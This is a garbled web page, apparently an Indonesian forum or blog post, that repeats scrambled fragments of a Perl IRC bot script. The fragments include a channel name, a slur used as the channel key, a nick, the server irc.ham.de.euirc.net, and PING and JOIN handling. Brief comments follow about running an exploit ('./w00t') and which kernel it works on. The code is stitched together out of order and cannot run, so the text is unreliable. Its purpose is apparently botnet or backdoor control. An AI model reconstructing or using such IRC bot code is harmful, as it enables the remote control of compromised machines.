#!/usr/bin/perl
$chan=”#cn”;
$ke”;
while (<$sockG (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
n”;
#!/usr/bin/perl
$chan=”#cn”;$key =”fags”;$nick=”phpfr”;$server=”G (.*)$/){print “;
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
irc.ham.de.euirc.net”;$SIG{TERM}”;
while (<$sock";
while (<$sockn";
sleep 1;
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (){if (/^PING (.*)$/){print phpfr”;$server=”irc.ham.de.euirc.net”;$SIG{TERM}sleep 1;
sleep 1;
“;
while (/dev/null;/tmp/hi”;
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (){if (/^PING (.*)$/){print “;
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (){if (/^PING (.*)$/){print #!/usr/bin/perl

cuma googling aja c… :D

ato jalanin openown jadi http://4.bp.blogspot.com/_hKfJbfbBxMU/Sl0TI2uJqcI/AAAAAAAACtQ/tAGpLJhJr9o/s1600-h/2070718497_84a8379634.jpg

./w00t

:)

buat kernel berapa tuh om , ayo pada coba

gelitik mode oN :))